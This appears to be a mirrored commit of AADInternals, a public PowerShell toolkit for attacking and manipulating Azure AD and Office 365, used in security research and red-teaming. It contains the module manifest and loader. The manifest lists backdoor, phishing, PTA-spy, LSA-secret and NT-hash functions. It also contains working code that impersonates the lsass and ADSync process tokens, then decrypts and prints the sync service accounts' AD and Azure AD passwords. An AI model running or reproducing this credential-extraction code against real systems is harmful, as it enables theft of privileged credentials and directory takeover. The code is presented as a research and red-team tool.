mirror of
https://github.com/Gerenios/AADInternals
synced 2026-06-08 11:09:38 +00:00
v0.7.4
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,539 @@
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
RootModule = 'AADInternals.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '0.7.4'
|
||||
|
||||
# Supported PSEditions
|
||||
# CompatiblePSEditions = @()
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = 'eebccc08-baea-4ac4-9e05-67d16d43e8b1'
|
||||
|
||||
# Author of this module
|
||||
Author = 'Dr Nestori Syynimaa'
|
||||
|
||||
# Company or vendor of this module
|
||||
CompanyName = 'Gerenios Ltd'
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = '(c) 2018 - 2022 Nestori Syynimaa (@DrAzureAD). Distributed under MIT license.'
|
||||
|
||||
# Description of the functionality provided by this module
|
||||
Description = 'The AADInternals PowerShell Module utilises several internal features of Azure Active Directory, Office 365, and related admin tools.
|
||||
|
||||
AADInternals allows you to export ADFS certificates, Azure AD Connect passwords, and modify numerous Azure AD / Office 365 settings not otherwise possible.
|
||||
|
||||
DISCLAIMER: Functionality provided through this module are not supported by Microsoft and thus should not be used in a production environment. Use on your own risk!
|
||||
|
||||
'
|
||||
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
# PowerShellVersion = ''
|
||||
|
||||
# Name of the Windows PowerShell host required by this module
|
||||
# PowerShellHostName = ''
|
||||
|
||||
# Minimum version of the Windows PowerShell host required by this module
|
||||
# PowerShellHostVersion = ''
|
||||
|
||||
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
|
||||
# DotNetFrameworkVersion = ''
|
||||
|
||||
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
|
||||
# CLRVersion = ''
|
||||
|
||||
# Processor architecture (None, X86, Amd64) required by this module
|
||||
# ProcessorArchitecture = ''
|
||||
|
||||
# Modules that must be imported into the global environment prior to importing this module
|
||||
# RequiredModules = @()
|
||||
|
||||
# Assemblies that must be loaded prior to importing this module
|
||||
# RequiredAssemblies = @()
|
||||
|
||||
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
|
||||
# ScriptsToProcess = @()
|
||||
|
||||
# Type files (.ps1xml) to be loaded when importing this module
|
||||
# TypesToProcess = @()
|
||||
|
||||
# Format files (.ps1xml) to be loaded when importing this module
|
||||
# FormatsToProcess = @()
|
||||
|
||||
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||
NestedModules = @(
|
||||
".\AADSyncSettings.ps1"
|
||||
".\AccessToken.ps1"
|
||||
".\AccessToken_utils.ps1"
|
||||
".\ActiveSync.ps1"
|
||||
".\ActiveSync_utils.ps1"
|
||||
".\ADFS.ps1"
|
||||
".\ADFS_utils.ps1"
|
||||
".\AD_utils.ps1"
|
||||
".\AdminAPI.ps1"
|
||||
".\AdminAPI_utils.ps1"
|
||||
".\AMQP.ps1"
|
||||
".\AzureADConnectAPI.ps1"
|
||||
".\AzureADConnectAPI_utils.ps1"
|
||||
".\AzureCoreManagement.ps1"
|
||||
".\AzureManagementAPI.ps1"
|
||||
".\AzureManagementAPI_utils.ps1"
|
||||
".\CBA.ps1"
|
||||
".\ClientTools.ps1"
|
||||
".\CloudShell.ps1"
|
||||
".\CloudShell_utils.ps1"
|
||||
".\CommonUtils.ps1"
|
||||
".\ComplianceAPI.ps1"
|
||||
".\ComplianceAPI_utils.ps1"
|
||||
".\Device.ps1"
|
||||
".\Device_utils.ps1"
|
||||
".\DRS_Utils.ps1"
|
||||
".\FederatedIdentityTools.ps1"
|
||||
".\GraphAPI.ps1"
|
||||
".\GraphAPI_utils.ps1"
|
||||
".\HybridHealthServices.ps1"
|
||||
".\HybridHealthServices_utils.ps1"
|
||||
".\IPUtils.ps1"
|
||||
".\Kerberos.ps1"
|
||||
".\Kerberos_utils.ps1"
|
||||
".\KillChain.ps1"
|
||||
".\KillChain_utils.ps1"
|
||||
".\md4.ps1"
|
||||
".\MDM.ps1"
|
||||
".\MDM_utils.ps1"
|
||||
".\MFA.ps1"
|
||||
".\MFA_utils.ps1"
|
||||
".\MSAppProxy.ps1"
|
||||
".\MSAppProxy_utils.ps1"
|
||||
".\MSCommerce.ps1"
|
||||
".\MSPartner.ps1"
|
||||
".\MSPartner_utils.ps1"
|
||||
".\MSGraphAPI.ps1"
|
||||
".\MSGraphAPI_utils.ps1"
|
||||
".\OfficeApps.ps1"
|
||||
".\OneDrive.ps1"
|
||||
".\OneDrive_utils.ps1"
|
||||
".\OneNote.ps1"
|
||||
".\OutlookAPI.ps1"
|
||||
".\OutlookAPI_utils.ps1"
|
||||
".\ProcessTools.ps1"
|
||||
".\ProvisioningAPI.ps1"
|
||||
".\ProvisioningAPI_utils.ps1"
|
||||
".\ProxySettings.ps1"
|
||||
".\PRT.ps1"
|
||||
".\PRT_Utils.ps1"
|
||||
".\PSRP.ps1"
|
||||
".\PSRP_utils.ps1"
|
||||
".\PTA.ps1"
|
||||
".\PTASpy.ps1"
|
||||
".\SARA.ps1"
|
||||
".\SARA_utils.ps1"
|
||||
".\SPO.ps1"
|
||||
".\SPO_utils.ps1"
|
||||
".\SQLite.ps1"
|
||||
".\SyncAgent.ps1"
|
||||
".\Teams.ps1"
|
||||
".\Teams_utils.ps1"
|
||||
".\WBAWeaponiser.ps1"
|
||||
)
|
||||
|
||||
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
|
||||
FunctionsToExport = @(
|
||||
# ADFS.ps1
|
||||
"Export-ADFSCertificates"
|
||||
"Export-ADFSConfiguration"
|
||||
"Export-ADFSEncryptionKey"
|
||||
"Set-ADFSConfiguration"
|
||||
"Get-ADFSPolicyStoreRules"
|
||||
"Set-ADFSPolicyStoreRules"
|
||||
"Unprotect-ADFSRefreshToken"
|
||||
"New-ADFSRefreshToken"
|
||||
|
||||
# ADFS_utils.ps1
|
||||
"New-ADFSSelfSignedCertificates"
|
||||
"Restore-ADFSAutoRollover"
|
||||
"Update-ADFSFederationSettings"
|
||||
"Get-ADFSConfiguration"
|
||||
|
||||
# AccessToken.ps1
|
||||
"Get-AccessToken"
|
||||
"Get-AccessTokenWithRefreshToken"
|
||||
"Get-AccessTokenForAADGraph"
|
||||
"Get-AccessTokenForMSGraph"
|
||||
"Get-AccessTokenForPTA"
|
||||
"Get-AccessTokenForEXO"
|
||||
"Get-AccessTokenForSARA"
|
||||
"Get-AccessTokenForOneDrive"
|
||||
"Get-AccessTokenForOfficeApps"
|
||||
"Get-AccessTokenForAzureCoreManagement"
|
||||
"Get-AccessTokenForSPO"
|
||||
"Get-AccessTokenForMySignins"
|
||||
"Get-AccessTokenForAADJoin"
|
||||
"Get-AccessTokenForIntuneMDM"
|
||||
"Get-AccessTokenForCloudShell"
|
||||
"Get-AccessTokenForTeams"
|
||||
"Get-AccessTokenForMSCommerce"
|
||||
"Get-AccessTokenForMSPartner"
|
||||
"Get-AccessTokenForAdmin"
|
||||
"Get-AccessTokenForOneNote"
|
||||
"Unprotect-EstsAuthPersistentCookie"
|
||||
|
||||
# AccessToken_utils.ps1
|
||||
"Get-LoginInformation"
|
||||
"Read-AccessToken"
|
||||
"Get-EndpointInstances"
|
||||
"Get-EndpointIps"
|
||||
"Get-OpenIDConfiguration"
|
||||
"Get-TenantId"
|
||||
"Get-TenantDomains"
|
||||
"Get-Cache"
|
||||
"Clear-Cache"
|
||||
"Add-AccessTokenToCache"
|
||||
"Export-TeamsTokens"
|
||||
"Export-AzureCliTokens"
|
||||
|
||||
# GraphAPI.ps1
|
||||
"Get-TenantDetails"
|
||||
"Get-Devices"
|
||||
"Get-UserDetails"
|
||||
"Get-ServicePrincipals"
|
||||
"Get-ConditionalAccessPolicies"
|
||||
|
||||
# ProvisioningAPI.ps1
|
||||
"Set-DomainAuthentication"
|
||||
"Get-CompanyInformation"
|
||||
"Get-SPOServiceInformation"
|
||||
"Get-ServiceLocations"
|
||||
"Get-CompanyTags"
|
||||
"Get-ServicePlans"
|
||||
"Get-Subscriptions"
|
||||
"Get-Users"
|
||||
"Get-User"
|
||||
"Remove-User"
|
||||
"New-User" # TODO: remove unused parameters
|
||||
"Set-User" # TODO: remove unused parameters
|
||||
"Get-GlobalAdmins"
|
||||
"New-Domain" # TODO: remove unused parameters
|
||||
"Set-ADSyncEnabled"
|
||||
"Get-MSPartnerContracts"
|
||||
|
||||
#FederatedIdentityTools.ps1
|
||||
"New-SAMLToken"
|
||||
"New-SAML2Token"
|
||||
"Get-ImmutableID"
|
||||
"ConvertTo-Backdoor"
|
||||
"New-Backdoor"
|
||||
"Open-Office365Portal"
|
||||
|
||||
# AzureADConnectAPI.ps1
|
||||
"Get-SyncConfiguration"
|
||||
"Set-AzureADObject"
|
||||
"Remove-AzureADObject"
|
||||
"Get-SyncObjects"
|
||||
"Set-UserPassword"
|
||||
"Reset-ServiceAccount"
|
||||
"Set-PassThroughAuthenticationEnabled"
|
||||
#"Set-PasswordHashSyncEnabled"
|
||||
"Set-SyncFeatures"
|
||||
"Get-SyncFeatures"
|
||||
"Set-DesktopSSOEnabled"
|
||||
"Get-DesktopSSO"
|
||||
"Set-DesktopSSO"
|
||||
"Get-KerberosDomainSyncConfig"
|
||||
"Get-WindowsCredentialsSyncConfig"
|
||||
"Get-SyncDeviceConfiguration"
|
||||
"Join-OnPremDeviceToAzureAD"
|
||||
|
||||
# AzureManagementAPI_utils.ps1
|
||||
"Get-AccessTokenForAADIAMAPI"
|
||||
"Get-AccessTokenForAzureMgmtAPI"
|
||||
|
||||
# AzureManagementAPI.ps1
|
||||
"New-GuestInvitation"
|
||||
"Get-AzureInformation"
|
||||
"Get-AADConnectStatus"
|
||||
|
||||
# ActiveSync.ps1
|
||||
"Get-EASAutoDiscover"
|
||||
"Get-EASAutoDiscoverV1"
|
||||
"Get-EASOptions"
|
||||
"Send-EASMessage"
|
||||
"Add-EASDevice"
|
||||
"Set-EASSettings"
|
||||
|
||||
# OutlookAPI.ps1
|
||||
"Send-OutlookMessage"
|
||||
"Open-OWA"
|
||||
|
||||
# PSRP.ps1
|
||||
"Get-MobileDevices"
|
||||
"Get-UnifiedAuditLogSettings"
|
||||
"Set-UnifiedAuditLogSettings"
|
||||
|
||||
# AADSyncSettings.ps1
|
||||
"Get-SyncCredentials"
|
||||
"Update-SyncCredentials"
|
||||
"Get-SyncEncryptionKeyInfo"
|
||||
"Get-SyncEncryptionKey"
|
||||
|
||||
# PTASpy.ps1
|
||||
"Install-PTASpy"
|
||||
"Remove-PTASpy"
|
||||
"Get-PTASpyLog"
|
||||
|
||||
# ClientTools.ps1
|
||||
"Get-OfficeUpdateBranch"
|
||||
"Set-OfficeUpdateBranch"
|
||||
|
||||
# SARA.ps1
|
||||
"Get-SARAUserInfo"
|
||||
"Get-SARATenantInfo"
|
||||
|
||||
# SPO_utils.ps1
|
||||
"Get-SPOAuthenticationHeader"
|
||||
|
||||
# SPO.ps1
|
||||
"Get-SPOSiteUsers"
|
||||
"Get-SPOSiteGroups"
|
||||
"Get-SPOUserProperties"
|
||||
"Set-SPOSiteMembers"
|
||||
|
||||
# Kerberos.ps1
|
||||
"New-KerberosTicket"
|
||||
|
||||
# PTA.ps1
|
||||
"Register-PTAAgent"
|
||||
"Set-PTACertificate"
|
||||
|
||||
# OneDrive_utils.ps1
|
||||
"New-OneDriveSettings"
|
||||
|
||||
# OneDrive.ps1
|
||||
"Get-OneDriveFiles"
|
||||
"Send-OneDriveFile"
|
||||
|
||||
# MFA.ps1
|
||||
"Get-UserMFA"
|
||||
"Set-UserMFA"
|
||||
"New-OTP"
|
||||
"New-OTPSecret"
|
||||
"Get-UserMFAApps"
|
||||
"Set-UserMFAApps"
|
||||
"Register-MFAApp"
|
||||
|
||||
# SyncAgent.ps1
|
||||
"Register-SyncAgent"
|
||||
|
||||
# MSAppProxy_utils.ps1
|
||||
"Get-ProxyAgents"
|
||||
"Get-ProxyAgentGroups"
|
||||
"Export-ProxyAgentCertificates"
|
||||
|
||||
# AD_Utils.ps1
|
||||
"Get-DPAPIKeys"
|
||||
"Get-LSASecrets"
|
||||
"Get-LSABackupKeys"
|
||||
"Get-UserMasterkeys"
|
||||
"Get-LocalUserCredentials"
|
||||
"Get-SystemMasterkeys"
|
||||
|
||||
# AzureCoreManagement.ps1
|
||||
"Get-AzureClassicAdministrators"
|
||||
"Grant-AzureUserAccessAdminRole"
|
||||
"Get-AzureSubscriptions"
|
||||
"Set-AzureRoleAssignment"
|
||||
"Get-AzureResourceGroups"
|
||||
"Get-AzureVMs"
|
||||
"Invoke-AzureVMScript"
|
||||
"Get-AzureVMRdpSettings"
|
||||
"Get-AzureTenants"
|
||||
"Get-AzureDiagnosticSettingsDetails"
|
||||
"Set-AzureDiagnosticSettingsDetails"
|
||||
"Get-AzureDiagnosticSettings"
|
||||
"Remove-AzureDiagnosticSettings"
|
||||
"Get-AzureDirectoryActivityLog"
|
||||
|
||||
# MSGraphAPI.ps1
|
||||
"Get-AzureSignInLog"
|
||||
"Get-AzureAuditLog"
|
||||
"Get-TenantAuthPolicy"
|
||||
"Get-TenantGuestAccess"
|
||||
"Set-TenantGuestAccess"
|
||||
"Enable-TenantMsolAccess"
|
||||
"Disable-TenantMsolAccess"
|
||||
"Get-RolloutPolicies"
|
||||
"Get-RolloutPolicyGroups"
|
||||
"Add-RolloutPolicyGroups"
|
||||
"Remove-RolloutPolicyGroups"
|
||||
"Remove-RolloutPolicy"
|
||||
"Set-RolloutPolicy"
|
||||
"Get-TenantDomain"
|
||||
|
||||
# KillChain.ps1
|
||||
"Invoke-UserEnumerationAsOutsider"
|
||||
"Invoke-ReconAsOutsider"
|
||||
"Invoke-ReconAsGuest"
|
||||
"Invoke-UserEnumerationAsGuest"
|
||||
"Invoke-ReconAsInsider"
|
||||
"Invoke-UserEnumerationAsInsider"
|
||||
"Invoke-Phishing"
|
||||
|
||||
# WBAWeaponiser.ps1
|
||||
"New-InvitationVBA"
|
||||
|
||||
# PRT.ps1
|
||||
"Get-UserPRTToken"
|
||||
"Get-UserPRTKeys"
|
||||
"New-UserPRTToken"
|
||||
"Join-DeviceToAzureAD"
|
||||
"New-P2PDeviceCertificate"
|
||||
"Remove-DeviceFromAzureAD"
|
||||
"Get-DeviceRegAuthMethods"
|
||||
"Set-DeviceRegAuthMethods"
|
||||
"Get-DeviceTransportKey"
|
||||
"Set-DeviceTransportKey"
|
||||
"New-BulkPRTToken"
|
||||
|
||||
# MDM.ps1
|
||||
"Join-DeviceToIntune"
|
||||
"Start-DeviceIntuneCallback"
|
||||
"Set-DeviceCompliant"
|
||||
"Get-DeviceCompliance"
|
||||
|
||||
# CloudShell.ps1
|
||||
"Start-CloudShell"
|
||||
|
||||
# CommonUtils.ps1
|
||||
"Get-Error"
|
||||
"New-Certificate"
|
||||
"Get-AzureWireServerAddress"
|
||||
|
||||
# Teams.ps1
|
||||
"Get-SkypeToken"
|
||||
"Set-TeamsAvailability"
|
||||
"Set-TeamsStatusMessage"
|
||||
"Search-TeamsUser"
|
||||
"Send-TeamsMessage"
|
||||
"Get-TeamsMessages"
|
||||
"Remove-TeamsMessages"
|
||||
"Set-TeamsMessageEmotion"
|
||||
"Find-TeamsExternalUser"
|
||||
"Get-TeamsAvailability"
|
||||
"Get-Translation"
|
||||
|
||||
# Teams_utils.ps1
|
||||
"Get-TeamsUserSettings"
|
||||
|
||||
# DRS_Utils.ps1
|
||||
"Get-ADUserNTHash"
|
||||
"Get-ADUserThumbnailPhoto"
|
||||
"Get-DesktopSSOAccountPassword"
|
||||
|
||||
# HybridHealthServices.ps1
|
||||
"New-HybridHealthService"
|
||||
"Get-HybridHealthServices"
|
||||
"Remove-HybridHealthService"
|
||||
"Get-HybridHealthServiceMembers"
|
||||
"New-HybridHealthServiceMember"
|
||||
"Remove-HybridHealthServiceMember"
|
||||
"Get-HybridHealthServiceMonitoringPolicies"
|
||||
"Send-HybridHealthServiceEvents"
|
||||
"Register-HybridHealthServiceAgent"
|
||||
|
||||
# HybridHealthServices_utils.ps1
|
||||
"New-HybridHealtServiceEvent"
|
||||
"Get-HybridHealthServiceAgentInfo"
|
||||
|
||||
# MSCommerce.ps1
|
||||
"Get-SelfServicePurchaseProducts"
|
||||
"Set-SelfServicePurchaseProduct"
|
||||
|
||||
# ComplianceAPI.ps1
|
||||
"Get-ComplianceAPICookies"
|
||||
"Search-UnifiedAuditLog"
|
||||
|
||||
# MSPartner.ps1
|
||||
"New-MSPartnerDelegatedAdminRequest"
|
||||
#"New-MSPartnerTrialOffer"
|
||||
#"Get-MSPartnerOffers"
|
||||
#"Get-MSPartnerPublishers"
|
||||
"Get-MSPartnerOrganizations"
|
||||
"Get-MSPartnerRoleMembers"
|
||||
"Find-MSPartners"
|
||||
|
||||
# AdminAPI.ps1
|
||||
"Approve-MSPartnerDelegatedAdminRequest"
|
||||
"Remove-MSPartnerDelegatedAdminRoles"
|
||||
"Get-MSPartners"
|
||||
"Get-TenantOrganisationInformation"
|
||||
|
||||
# Device.ps1
|
||||
"Export-LocalDeviceCertificate"
|
||||
"Export-LocalDeviceTransportKey"
|
||||
"Join-LocalDeviceToAzureAD"
|
||||
"Get-LocalDeviceJoinInfo"
|
||||
|
||||
# ProxySettings.ps1
|
||||
"Set-ProxySettings"
|
||||
|
||||
# OneNote.ps1
|
||||
"Start-Speech"
|
||||
|
||||
# CBA.ps1
|
||||
"Get-AdminPortalAccessTokenUsingCBA"
|
||||
"Get-PortalAccessTokenUsingCBA"
|
||||
)
|
||||
|
||||
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
|
||||
CmdletsToExport = @()
|
||||
|
||||
# Variables to export from this module
|
||||
VariablesToExport = ''
|
||||
|
||||
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
|
||||
AliasesToExport = @()
|
||||
|
||||
# DSC resources to export from this module
|
||||
# DscResourcesToExport = @()
|
||||
|
||||
# List of all modules packaged with this module
|
||||
# ModuleList = @()
|
||||
|
||||
# List of all files packaged with this module
|
||||
# FileList = @()
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
|
||||
PrivateData = @{
|
||||
|
||||
PSData = @{
|
||||
|
||||
# Tags applied to this module. These help with module discovery in online galleries.
|
||||
Tags = @('Office365','Microsoft365','Azure','AAD','Security')
|
||||
|
||||
# A URL to the license for this module.
|
||||
# LicenseUri = ''
|
||||
|
||||
# A URL to the main website for this project.
|
||||
ProjectURI = 'https://o365blog.com/aadinternals'
|
||||
|
||||
# A URL to an icon representing this module.
|
||||
# IconUri = ''
|
||||
|
||||
# ReleaseNotes of this module
|
||||
# ReleaseNotes = ''
|
||||
|
||||
} # End of PSData hashtable
|
||||
|
||||
} # End of PrivateData hashtable
|
||||
|
||||
# HelpInfo URI of this module
|
||||
# HelpInfoURI = ''
|
||||
|
||||
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
|
||||
DefaultCommandPrefix = 'AADInt'
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# Add some assemblies
|
||||
Add-type -AssemblyName System.xml.linq -ErrorAction SilentlyContinue
|
||||
Add-Type -AssemblyName System.Runtime.Serialization -ErrorAction SilentlyContinue
|
||||
Add-Type -AssemblyName System.Windows.Forms -ErrorAction SilentlyContinue
|
||||
Add-Type -AssemblyName System.Web -ErrorAction SilentlyContinue
|
||||
Add-Type -AssemblyName System.Web.Extensions -ErrorAction SilentlyContinue
|
||||
Add-Type -path "$PSScriptRoot\BouncyCastle.Crypto.dll" -ErrorAction SilentlyContinue
|
||||
|
||||
# Set supported TLS methods
|
||||
[Net.ServicePointManager]::SecurityProtocol = "Tls, Tls11, Tls12, Ssl3"
|
||||
|
||||
# Print the welcome message
|
||||
$manifest = Import-PowerShellDataFile "$PSScriptRoot\AADInternals.psd1"
|
||||
$version = $manifest.ModuleVersion
|
||||
$host.ui.RawUI.WindowTitle="AADInternals $version"
|
||||
|
||||
$logo=@"
|
||||
___ ___ ____ ____ __ __
|
||||
/ | / | / __ \/ _/___ / /____ _________ ____ _/ /____
|
||||
/ /| | / /| | / / / // // __ \/ __/ _ \/ ___/ __ \/ __ ``/ / ___/
|
||||
/ ___ |/ ___ |/ /_/ _/ // / / / /_/ __/ / / / / / /_/ / (__ )
|
||||
/_/ |_/_/ |_/_____/___/_/ /_/\__/\___/_/ /_/ /_/\__,_/_/____/
|
||||
|
||||
v$version by @DrAzureAD (Nestori Syynimaa)
|
||||
"@
|
||||
|
||||
Write-Host $logo -ForegroundColor Yellow
|
||||
@@ -0,0 +1,801 @@
|
||||
# This module contains functions to extract and update AADConnect sync credentials
|
||||
|
||||
# Print the loading message here as this is the first .ps1 to be loaded :)
|
||||
Write-Host "Loading module.."
|
||||
|
||||
# Oct 29th 2019
|
||||
function Check-Server
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[bool]$AsADSync,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[bool]$force
|
||||
)
|
||||
process
|
||||
{
|
||||
# Check that we are on AADConnect server and that the service is running
|
||||
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with ADSync running!"
|
||||
return $false
|
||||
}
|
||||
|
||||
# Add the encryption reference (should always be there)
|
||||
$ADSyncLocation = (Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\AD Sync").Location
|
||||
Add-Type -path "$ADSyncLocation\Bin\mcrypt.dll"
|
||||
|
||||
$ADSyncUser=""
|
||||
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
|
||||
|
||||
# Check the version number: since 1.4.xx.xx uses DPAPI instead of registry to store the keyset
|
||||
try
|
||||
{
|
||||
$serviceWMI = Get-WmiObject Win32_Service -Filter "Name='ADSync'" -ErrorAction SilentlyContinue
|
||||
$ADSyncUser= $serviceWMI.StartName
|
||||
$ver= ($serviceWMI.PathName.Split('"')[1] | Get-Item).VersionInfo.FileVersion
|
||||
$ver2=$ver.split('.')
|
||||
if($force -ne $true -and $ver2[0] -eq 1 -and $ver2[1] -ge 4 -and !$AsADSync)
|
||||
{
|
||||
Write-Warning "ADSync passwords can be read or modified as local administrator only for ADSync version 1.3.xx.xx!"
|
||||
Write-Warning "The current version is $ver and access to passwords requires running as ADSync ($ADSyncUser)."
|
||||
Write-Warning "Use the -AsADSync $true parameter to try again!"
|
||||
return $false
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Could not get WMI info, probably already running as ADSync so skipping the ""elevation"""
|
||||
$AsADSync = $false
|
||||
}
|
||||
|
||||
# Elevate the current thread by copying the token from ADSync service
|
||||
if($AsADSync)
|
||||
{
|
||||
# First we need to get connection once to the DB to get token.
|
||||
# If done after "elevating" to ADSync, all SQL connections to configuration database will fail.
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLclient.Close()
|
||||
try
|
||||
{
|
||||
# Copy the tokens from lsass and miiserver (ADSync) processes
|
||||
Write-Verbose "Trying to ""elevate"" by copying token from lsass and then miiserver (ADSync) processes"
|
||||
$elevation = [AADInternals.Native]::copyLsassToken() -and [AADInternals.Native]::copyADSyncToken()
|
||||
}
|
||||
catch
|
||||
{
|
||||
$elevation = $false
|
||||
}
|
||||
|
||||
if($elevation)
|
||||
{
|
||||
Write-Verbose """Elevation"" to ADSync succeeded!"
|
||||
Write-Warning "Running as ADSync ($ADSyncUser). You MUST restart PowerShell to restore $CurrentUser rights."
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Could not change to $ADSyncUser. MUST be run as administrator!"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# May 15th 2019
|
||||
function Get-SyncCredentials
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Azure AD Connect synchronization credentials
|
||||
|
||||
.Description
|
||||
Extracts Azure Active Directory Connect crecentials from WID configuration database. MUST be run on AADConnect server
|
||||
as local administrator
|
||||
|
||||
.Example
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
ADDomain1 company.com
|
||||
ADUser1 MSOL_4bc4a34e95fa
|
||||
ADUserPassword1 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
|
||||
ADDomain2 business.net
|
||||
ADUser2 MSOL_4bc4a34e95fa
|
||||
ADUserPassword2 cE/Pj+4/MR6hW)2L_4P=H^hiq)pZhMb...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$false)]
|
||||
[bool]$AsADSync=$true,
|
||||
#[Parameter(Mandatory=$false)]
|
||||
#[switch]$AsCredentials,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Do the checks
|
||||
if((Check-Server -AsADSync $AsADSync -force $force) -eq $false)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
|
||||
# Read the AD configuration data
|
||||
$ADConfigs=@()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
while($SQLreader.Read())
|
||||
{
|
||||
$ADConfig = $SQLreader.GetString(0)
|
||||
$ADCryptedConfig = $SQLreader.GetString(1)
|
||||
$ADConfigs += New-Object -TypeName psobject -Property @{"ADConfig" = $ADConfig; "ADCryptedConfig" = $ADCryptedConfig}
|
||||
}
|
||||
$SQLreader.Close()
|
||||
|
||||
# Read the AAD configuration data
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$AADConfig = $SQLreader.GetString(0)
|
||||
$AADCryptedConfig = $SQLreader.GetString(1)
|
||||
$SQLreader.Close()
|
||||
$SQLclient.Close()
|
||||
|
||||
# Extract the data
|
||||
$attributes=[ordered]@{}
|
||||
$attributes["AADUser"]=([xml]$AADConfig).MAConfig.'parameter-values'.parameter[0].'#text'
|
||||
$attributes["AADUserPassword"]=""
|
||||
|
||||
try
|
||||
{
|
||||
# Decrypt config data
|
||||
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
|
||||
|
||||
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
|
||||
$key = $null
|
||||
$KeyMgr.GetActiveCredentialKey([ref]$key)
|
||||
$key2 = $null
|
||||
$KeyMgr.GetKey(1, [ref]$key2)
|
||||
|
||||
# Extract the encrypted data
|
||||
$n=1
|
||||
foreach($ADConfig in $ADConfigs)
|
||||
{
|
||||
$ADDecryptedConfig = $null
|
||||
$key2.DecryptBase64ToString($ADConfig.ADCryptedConfig, [ref]$ADDecryptedConfig)
|
||||
|
||||
$attributes["ADDomain$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-domain'
|
||||
$attributes["ADUser$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-user'
|
||||
$attributes["ADUserPassword$n"]=([xml]$ADDecryptedConfig).'encrypted-attributes'.attribute.'#text'
|
||||
|
||||
$n++
|
||||
}
|
||||
|
||||
$AADDecryptedConfig = $null
|
||||
$key2.DecryptBase64ToString($AADCryptedConfig, [ref]$AADDecryptedConfig)
|
||||
$attributes["AADUserPassword"]=([xml]$AADDecryptedConfig).'encrypted-attributes'.attribute | Where name -eq "Password" | Select -ExpandProperty "#text"
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Could not load key set!"
|
||||
}
|
||||
|
||||
# Return
|
||||
#if($AsCredentials)
|
||||
#{
|
||||
# $adCreds = New-Object System.Management.Automation.PSCredential($attributes["ADUser"], (ConvertTo-SecureString $attributes["ADUserPassword"] -AsPlainText -Force))
|
||||
# $aadCreds = New-Object System.Management.Automation.PSCredential($attributes["AADUser"], (ConvertTo-SecureString $attributes["AADUserPassword"] -AsPlainText -Force))
|
||||
#
|
||||
# return @($adCreds, $aadCreds)
|
||||
#}
|
||||
#else
|
||||
#{
|
||||
return New-Object -TypeName PSObject -Property $attributes
|
||||
#}
|
||||
|
||||
}
|
||||
}
|
||||
